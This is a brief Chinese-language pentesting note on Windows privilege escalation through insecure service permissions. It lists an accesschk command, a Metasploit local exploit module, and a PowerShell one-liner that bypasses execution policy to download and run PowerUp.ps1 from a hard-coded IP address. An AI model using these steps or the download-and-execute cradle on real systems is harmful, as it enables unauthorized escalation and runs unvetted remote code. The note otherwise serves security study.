不安全的服务权限导致提权

前言：都写出来记录下吧

检测方法：
以test01账户检测对当前所有的服务有没有读写权限：accesschk.exe /accepteula test01 -c *

msf中的模块：exploit/windows/local/service_permissions

powershell的PowerUp中的Invoke-AllChecks：powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Invoke-AllChecks"

---